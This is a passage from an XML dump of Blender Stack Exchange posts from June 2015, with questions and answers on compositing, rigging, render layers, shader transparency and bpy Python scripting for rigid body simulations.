will see that the process needed to do this has similarities with the first answer.  Blender has to be specifically told which way to extrude, and draw lines.  It would be nice it we could constrain the extrude at a specific angle, but you'd still need to figure out what that angle is.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastActivityDate="2015-06-23T13:32:44.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32874" PostTypeId="2" ParentId="32870" CreationDate="2015-06-23T13:44:17.117" Score="2" Body="&lt;p&gt;The secret is about compositing, not lighting.&#xA;I've made a simple scene just to give you an idea.&#xA;2 render layers, with transparent background.&#xA;The first is a background plane textured with a gradient shader, spherical.&#xA;The second is a plane, diffuse and glossy (lot of glossiness), with a glass on it (simple glass)&#xA;Light is a single sun with a light blue color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VxblM.png&quot; alt=&quot;3D scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;only first layer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oEExc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;only second layer&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8GbU2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Composite!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CEs3h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compositing  nodes setup, for further tweaking&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u7X1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-23T13:44:17.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32875" PostTypeId="2" ParentId="31215" CreationDate="2015-06-23T13:46:20.170" Score="1" Body="&lt;p&gt;Another method would be to use &quot;Local&quot; and &quot;Global&quot; axes.  I believe this is what you want.  For each part of the plane, you will have several Local Axes groups, this depends on what is aligned with what.  You will sill need to make your orignal edges and such aligned globally, but, before you rotate them to align to a new orientation or angle, you will need to switch to local mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make all your angle changes in local mode, like the angle that the wing sweeps back. Each line would have it's own orientation from along the global X,Y, &amp;amp; Z axis.  If you're new to this, you'll have to make a line, and play with it some to see how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing the orientation in local mode.  The object or lines done locally will have two orientations.  Global will be aligned with the X-Y &amp;amp; Z axis that is normal to Blender. (I don't think these can be changed.)  However if you switch to Local, then Rotate or Translate, these now have their own axes.  So, a line can be at 45° toward the y axis globally, and extruded along, these global axis, or they can be extruded along the local axis which has the 45° from global as the x axis.  To extrude using local axes. You would 'E'xtrude &quot;XX&quot; or &quot;YY&quot; or &quot;ZZ&quot;. Note, if you rotated the lines in Global mode, and didn't switch to &quot;Local&quot; before rotating it, all axes will be aligned to global still.  Local mode transforms the axis, not the object when doing rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastActivityDate="2015-06-23T13:46:20.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32876" PostTypeId="2" ParentId="32841" CreationDate="2015-06-23T14:25:02.223" Score="2" Body="&lt;p&gt;The Pointiness feature may be able to do what you are looking for.  You can bring the results into visual range by using a Color Ramp node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQ7sk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-06-23T14:25:02.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32877" PostTypeId="1" CreationDate="2015-06-23T14:55:00.327" Score="2" ViewCount="12851" Body="&lt;p&gt;I downloaded a model (this one, actually &lt;a href=&quot;http://www.blendswap.com/blends/view/70898&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/70898&lt;/a&gt;) for practicing animation purposes, but i want to add some few features, like sleeves or a nose (because the character doesn't have one) to also practice about textures, so for example i would be able to add a shirt eventhough i can already add one with a plain image alongside the body of the character...but as i said on the title of this question ,the model is already rigged, working with bones, if for example i extrude part of the face of the character, it will be deformed badly and it will appear pretty bad on render, for example, how can i modify simple features without modifing the rig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not only ask this about this model, but of any other model for future reference, i can also rig characters but what if for example, same as this example, i want to modify an already made character that works perfectly with the bones?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-06-23T15:57:28.493" Title="How can i modify an already rigged model?" Tags="&lt;modeling&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32878" PostTypeId="1" CreationDate="2015-06-23T15:33:52.490" Score="2" ViewCount="174" Body="&lt;p&gt;I am new to Blender as well as python scripting. I went through various documentation and was able to put together the below code that creates a plane as a passive rigid body, followed by creating one cuboid and 2 cylinders at random locations in the space on top of plane. I want to record the change of positions before and after the simulation. Below is my code to do this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;import copy&#xA;&#xA;&#xA;def createPlaneMesh(name, origin, scale, weight):&#xA;# Create mesh and object&#xA;    bpy.ops.mesh.primitive_cube_add()&#xA;    bpy.ops.transform.resize(value=scale)&#xA;    bpy.ops.rigidbody.objects_add()&#xA;&#xA;    ob = bpy.context.object&#xA;    ob.name = name&#xA;    ob.location = origin&#xA;    ob.show_name = True&#xA;    ob.rigid_body.mass = weight&#xA;    ob.rigid_body.type = &quot;PASSIVE&quot;&#xA;    return ob&#xA;&#xA;def createCubeMesh(name, origin, scale, weight):&#xA;# Create mesh and object&#xA;    bpy.ops.mesh.primitive_cube_add()&#xA;    bpy.ops.transform.resize(value=scale)&#xA;    bpy.ops.rigidbody.objects_add()&#xA;&#xA;    ob = bpy.context.object&#xA;    ob.name = name&#xA;    ob.location = origin&#xA;    ob.show_name = True&#xA;    ob.rigid_body.mass = weight&#xA;    return ob&#xA;&#xA;def createCylMesh(name, origin, r, h, weight):&#xA;# Create mesh and object&#xA;    bpy.ops.mesh.primitive_cylinder_add()&#xA;    bpy.ops.transform.resize(value=(r, r, h))&#xA;    bpy.ops.rigidbody.objects_add()&#xA;&#xA;    ob = bpy.context.object&#xA;    ob.name = name&#xA;    ob.location = origin&#xA;    ob.show_name = True&#xA;    ob.rigid_body.mass = weight&#xA;    return ob&#xA;&#xA;def clear():&#xA;    print(&quot;inside clear&quot;)&#xA;    candidate_list = [item.name for item in bpy.data.objects if item.type == &quot;MESH&quot;]&#xA;    for object_name in candidate_list:&#xA;        bpy.data.objects[object_name].select = True&#xA;        # remove all selected.&#xA;    bpy.ops.object.delete()&#xA;    return&#xA;&#xA;def run(origin):&#xA;&#xA;    l = []&#xA;    surface = createPlaneMesh('surface', (0, 0, -10), (100, 100, 3), 10)&#xA;    cube1 = createCubeMesh('cuboid1', (random.uniform(-15, 15),   random.uniform(-15, 15), random.uniform(5, 10)), (7.75, 5.625, 1.5), 0.296)&#xA;    l.append(cube1)&#xA;    cyl1 = createCylMesh('cylinder1', (random.uniform(-15, 15), random.uniform(-15, 15), random.uniform(3, 10)), 3, 9.75, 0.169)&#xA;    l.append(cyl1)&#xA;    cyl2 = createCylMesh('cylinder2', (random.uniform(-15, 15), random.uniform(-15, 15), random.uniform(3, 10)), 3, 9.75, 0.169)&#xA;    l.append(cyl2)&#xA;    return l&#xA;&#xA;&#xA;def get_location(list_ob):&#xA;    list_location = []&#xA;    for i in list_ob:&#xA;        list_location.append(i.location.copy())&#xA;    return list_location&#xA;&#xA;def run_sim(list_ob):&#xA;    print('pre-simulation')&#xA;    prepose = get_location(list_ob)&#xA;    for i in prepose:&#xA;        print(i)&#xA;    scene = bpy.context.screen.scene&#xA;    bpy.ops.rigidbody.objects_add(type='ACTIVE')&#xA;    bpy.ops.ptcache.bake_all(bake=True)&#xA;    context = bpy.context&#xA;    context.scene.frame_set(scene.frame_end)&#xA;    scene.frame_current = scene.frame_end&#xA;    bpy.ops.object.visual_transform_apply()&#xA;    print('post-simulation')&#xA;    for i in range(len(prepose)):&#xA;        print(prepose[i], '=&amp;gt;', list_ob[i].location, list_ob[i].name)&#xA;&#xA;    return&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    clear()&#xA;    run_sim(run((0,0,0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works well if I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./blender -P ~/Desktop/physics_simulations/python_scripts/question_simulation.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see the objects after simulation.&#xA;But when I use -b I see only change in the last object when I output the positions of the objects. As below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post-simulation&#xA;&amp;lt;Vector (11.4047, -10.3778, 8.7058)&amp;gt; =&amp;gt; &amp;lt;Vector (11.4047, -10.3778, 8.7058)&amp;gt; cuboid1&#xA;&amp;lt;Vector (-13.9499, 7.4854, 6.9536)&amp;gt; =&amp;gt; &amp;lt;Vector (-13.9499, 7.4854, 6.9536)&amp;gt; cylinder1&#xA;&amp;lt;Vector (6.8909, -7.7191, 8.7173)&amp;gt; =&amp;gt; &amp;lt;Vector (-45.5964, 49.2257, -4.0609)&amp;gt; cylinder2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I am missing anything here.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2015-07-24T15:31:44.327" Title="Blender background simulation (GUI-less) is different from the actual simulation" Tags="&lt;python&gt;&lt;objects&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32879" PostTypeId="1" CreationDate="2015-06-23T15:55:40.647" Score="2" ViewCount="1237" Body="&lt;p&gt;I've searched around for a way to preview a Luxrender render in Blender's viewport but cannot seem to find the solution to this error. When I click the render mode for the viewport it comes up with: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR Viewport rendering is only available when API 2.x is selected!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="3710" LastEditDate="2015-06-24T06:37:49.467" LastActivityDate="2019-03-29T11:27:18.267" Title="Luxrender - How to select API 2.x?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32880" PostTypeId="2" ParentId="32877" CreationDate="2015-06-23T15:57:28.493" Score="1" Body="&lt;p&gt;There's nothing wrong in the idea of modifying a character which is already rigged, as long as you know what you are doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The character you've downloaded has 134 bones, some deforming, some used as machinary, some constrained and/or related to other bones, some used with drivers, to perform deformations using a lot of shape-keys, expecially in the face (as usual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you should start from a simplier character, for practicing, until you reach a good comprehension of what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, all deforming bones are related to vertexes, so you can freely edit their materials and textures, without affecting the rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viceversa, if you extrude a vertex from another, it will copy the properties of the previous active one: if the new vertex stays in a similar position, very often there are no problems. A lot of problems generally can come out when shapeKeys are involved (all the face, in your case), in which case the new vertexes can seem to move in weird ways: any vertex modification in this zone probably will need a lot of adjustements in every Shape-Key in which it is involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting the rig and entering edit mode you can add new bones, and parent them to the rest of the rig; you will have to create a new vertex group in the character's mesh, with the same name as the new bone, and assign a weight to the vertexes you want to move, for having it deforming the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider also that you can parent more than one mesh to the same rig, even if this solution  is not the best, often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for Nathan Vegdahl tutorials serie about advanced rigging, he's the best!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-23T15:57:28.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32881" PostTypeId="2" ParentId="32807" CreationDate="2015-06-23T16:19:17.023" Score="0" Body="&lt;p&gt;Ok, I found a quite nice workaround. One can just add a Scene-&gt;Set Camera actuator to one of the objects in linked group (for now I'm adding it to my character object) and feed it with camera. If the game engine will be enabled with this group linked to the scene, linked camera will be picked. &lt;s&gt;One drawback I've noticed so far is that the rendered viewport is not limited respectively to the camera boundary if you use this method.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;Actually, if you enable game engine in camera view (it can be any camera) the viewport is limited as usual.&lt;/p&gt;&#xA;" OwnerUserId="14817" LastEditorUserId="14817" LastEditDate="2015-06-23T16:29:24.103" LastActivityDate="2015-06-23T16:29:24.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32882" PostTypeId="1" CreationDate="2015-06-23T16:24:55.287" Score="1" ViewCount="5435" Body="&lt;p&gt;In the above code, I need to change the location and the dimension of the cube. I remark that only the dimensions along the  z-axis is changed. How can I change the name of the cube? I have not been able to find out how to do this in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  import bpy&#xA;    from mathutils import Matrix&#xA;    D = bpy.data&#xA;    C = bpy.context&#xA;    scene = C.scene&#xA;&#xA;    # ... lots of code omitted for brevity and clarity&#xA;&#xA;    #------------------House-------------&#xA;&#xA;    #Wall1&#xA;    bpy.ops.mesh.primitive_cube_add(location=(0.0, 2.0, 1.25))&#xA;    bpy.context.object.data.name = &quot;Cube1&quot; #to change the name but it does not work&#xA;#here to change the dimensions, but only the z-axis dimension has been changed&#xA;    bpy.context.object.dimensions[0] = 4&#xA;    bpy.context.object.dimensions[1] = 0.05&#xA;    bpy.context.object.dimensions[2] = 2.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="660" LastEditDate="2015-06-24T15:44:11.147" LastActivityDate="2015-06-24T15:57:04.600" Title="Create and return a cube using a python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32883" PostTypeId="2" ParentId="32882" CreationDate="2015-06-23T16:35:13.087" Score="1" Body="&lt;p&gt;to resize (scaling ) the cube, we can use this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Wall1&#xA;bpy.ops.mesh.primitive_cube_add(location=(0.0, 2.0, 1.25))&#xA;#resize the cube&#xA;bpy.ops.transform.resize(value=(4, .05, 2.5))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to rename, we can use this instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get the cube object and rename it.&#xA;cube = bpy.context.object&#xA;cube.name = 'Wall1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I did not understand why this first way did not work&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-06-23T17:17:55.400" LastActivityDate="2015-06-23T17:17:55.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32885" PostTypeId="1" AcceptedAnswerId="32886" CreationDate="2015-06-23T17:36:15.327" Score="2" ViewCount="1320" Body="&lt;p&gt;I am wondering how to move something to another render layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the render layers next to where it says &lt;em&gt;Global&lt;/em&gt;, but how do I switch my objects over to another render layer?&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="599" LastEditDate="2015-06-23T18:13:53.417" LastActivityDate="2015-06-23T18:13:53.417" Title="How to move an object to a different render layer?" Tags="&lt;rendering&gt;&lt;render-layers&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32886" PostTypeId="2" ParentId="32885" CreationDate="2015-06-23T17:38:47.947" Score="2" Body="&lt;p&gt;With &lt;kbd&gt;M&lt;/kbd&gt;, i.e. move them between viewport layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgysk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my &lt;a href=&quot;https://blender.stackexchange.com/a/15915/599&quot;&gt;answer here&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;sub&gt;Thanks to this question, I found and reported &lt;a href=&quot;https://developer.blender.org/T45162&quot; rel=&quot;nofollow noreferrer&quot;&gt;a regression&lt;/a&gt; in blender's handling of view specific and scene specific layers.&lt;/sub&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-06-23T18:11:03.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32887" PostTypeId="2" ParentId="32849" CreationDate="2015-06-23T17:51:54.820" Score="4" Body="&lt;p&gt;sorry for the previous short and unexplained answer :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First open up blender and add a plane, then UV unwrap it like below&#xA;(I've made a very simple cloud texture for that with transparency)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MWpqy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add a plane so we can actually see something in the test render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M9Esr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then go to rendered shading mode by enabling it from the red  icon indicator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/boCPu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;notice how the transparency (alpha channel) has been filled with black?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its because of the default material setup as shown in the picture below!&#xA;the diffuse shader can't render transparency &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWi87.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its only using a diffuse shader with a image with transparency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, if we add a transparent shader with mix shader node and the alpha from original image as the fac value then we will get something like below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5RB1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;its basically checking weather a part of the texture is transparent and if so it is feeding it through the transparent shader so we can get the actual transparency&lt;/strong&gt;.....&#xA;and the rest is going through the diffuse shader&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by this method you can get the cloud you were referring to.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, you might wanna import image as a plane (check if the addon is enabled) then apply this method, but for some wired reason (I don't know why) its not working in my blender 2.74...&#xA;hope somebody can lighten me up :)&lt;/p&gt;&#xA;" OwnerUserId="15177" LastActivityDate="2015-06-23T17:51:54.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32888" PostTypeId="1" CreationDate="2015-06-23T18:41:04.133" Score="4" ViewCount="15260" Body="&lt;p&gt;As part of a project, I want to convert a 3D Model into a 2D image, my goal is to extract the texture from the model using blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know UV unwrapping goes by the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import object.&lt;/li&gt;&#xA;&lt;li&gt;Unwrap object.&lt;/li&gt;&#xA;&lt;li&gt;Apply the image(texture) in UV image editor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBtWK.jpg&quot; alt=&quot;UV Unwrapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is, does a procedure exist to do the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Import object which already has texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Extract the texture from this object and save as an image file.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/V2k64.png&quot; alt=&quot;Texture extraction&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well I am new to Blender and I apologize if my question seems trivial. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15193" LastActivityDate="2016-10-25T14:35:55.873" Title="Extract Texture from a 3D blender model" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;objects&gt;&lt;image&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32889" PostTypeId="2" ParentId="32870" CreationDate="2015-06-23T18:57:37.983" Score="6" Body="&lt;p&gt;To do this you can use a textured emission plane (you could &lt;a href=&quot;https://blender.stackexchange.com/q/32861/599&quot;&gt;simulate it with an out of focus mesh lamp&lt;/a&gt; too, but a plane will be less noisy).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a big plane behind your scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6MzyB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give it a procedural gradient material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGHEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/input.html#texture-coordinates&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Object&lt;/em&gt; coordinates&lt;/a&gt; are centered around the object's &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/individual_origins.html#in-object-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Origin&lt;/em&gt;&lt;/a&gt;, so by default that's where the gradient will be centered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust the size and scale of the gradient, you can tweak the settings on the &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/more.html#mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mapping node&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also made the plane brighter than it appears to the camera by using different emission shaders based on the &lt;a href=&quot;http://blender.org/manual/render/cycles/settings/light_paths.html#ray-visibility&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Camera Ray&lt;/em&gt;&lt;/a&gt; output of the &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/input.html#light-path&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Light Path&lt;/em&gt;&lt;/a&gt; node, to avoid over exposing the background a lot.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DaXa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way glossy floor plane will reflect the light from the plane, creating a neat effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/292/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=292&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-06-23T19:08:52.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32890" PostTypeId="1" CreationDate="2015-06-23T19:24:28.033" Score="0" ViewCount="18" Body="&lt;p&gt;I'm very new to Blender.  I made an animation that rendered to PNG, then mpeg fine using the Blender Render engine. When I later tried to add a new animated object to it, I can see it animating in the 3d view correctly, but the object doesn't make it to any new rendering. I checked some online help posts without any luck. The rendering (camera) icon for the new object seems active in outliner.  The new object was created by duplicating an existing one, then edited.  I'm sure there is just some setting I overlooked or accidentally changed but I can't find it.  Any help or points in the right direction would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="15195" LastActivityDate="2015-06-23T19:24:28.033" Title="new object added to existing animation won't render" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-06-23T20:01:13.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="32891" PostTypeId="1" AcceptedAnswerId="32905" CreationDate="2015-06-23T19:25:55.713" Score="1" ViewCount="880" Body="&lt;p&gt;I'm planning an animation, and one of the creatures is going to basically have a mouth. It'll be roughly spherical, but... unlike most of the ones you are thinking of, I want the opening to 'bend open' the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I'm not sure that's how I'd describe it, but... think Pac-man, then think THIS:&lt;img src=&quot;https://i.stack.imgur.com/oJA41.png&quot; alt=&quot;Chuxtoepose_The_Magnificent&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That 'thing/eldritch horror' is known as Chuxtoepose. It's from &lt;a href=&quot;https://scratch.mit.edu/projects/25857420/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this game&lt;/a&gt; and I want to make that magnificent jaw by cutting into a UV Sphere. Is this doable, and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nefer&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="13814" LastEditDate="2015-06-23T20:00:52.030" LastActivityDate="2015-06-24T07:49:52.377" Title="Opening a Sphere Mesh" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32893" PostTypeId="1" CreationDate="2015-06-23T20:04:49.083" Score="3" ViewCount="239" Body="&lt;p&gt;I am attempting to use video textures to animate a &quot;scoreboard&quot; of sorts. I've gotten the UVs correct, and everything seems to be working. Until I try to sync it up to my audio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the issue lies with Blender turning the video into a number of frames. Both Blender (Cycles Render) and the video editing software I am using (Vegas Movie Studio 11) seem to rendering at 23.98 FPS. If I attempt to sync the video file itself up to the audio, it works just fine. However, when I set it as the file for the texture, the video seems to be a certain % too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, at frame 8 in Vegas, the video is supposed to switch from a slide of &quot;You&quot; to a slide of &quot;Won't.&quot; But it in Blender, it doesn't switch until frame 11. Then, the slide is supposed to change at frame 15 but in Blender it changes at frame 21.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there seems to be a delay of x + 3 frames, x being the delay prior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried it with different renders of the same file, with no visible change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recap: It is a single AVI file, it appears to work correctly everywhere but blender, where there is a strange adding delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I could tweak this file to be perfect, but I'm going to have to do this a lot during the project and it seems there must be a simpler way.&lt;/p&gt;&#xA;" OwnerUserId="15197" LastEditorUserId="2217" LastEditDate="2015-06-23T21:43:09.763" LastActivityDate="2015-06-24T02:56:34.843" Title="Video texture is out of sync in blender, but fine in other programs" Tags="&lt;texturing&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32894" PostTypeId="1" AcceptedAnswerId="34623" CreationDate="2015-06-23T20:35:53.127" Score="3" ViewCount="2034" Body="&lt;p&gt;I am trying to control the direction of the sun on sky texture with an empty, I set the direction of the sun controllable by the rotation of the empty with drivers, each axis corresponding to the XYZ direction of the sun, but the result is not behaving as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/293/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=293&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-27T17:54:06.327" Title="Setting sun direction on sky texture with an empty" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
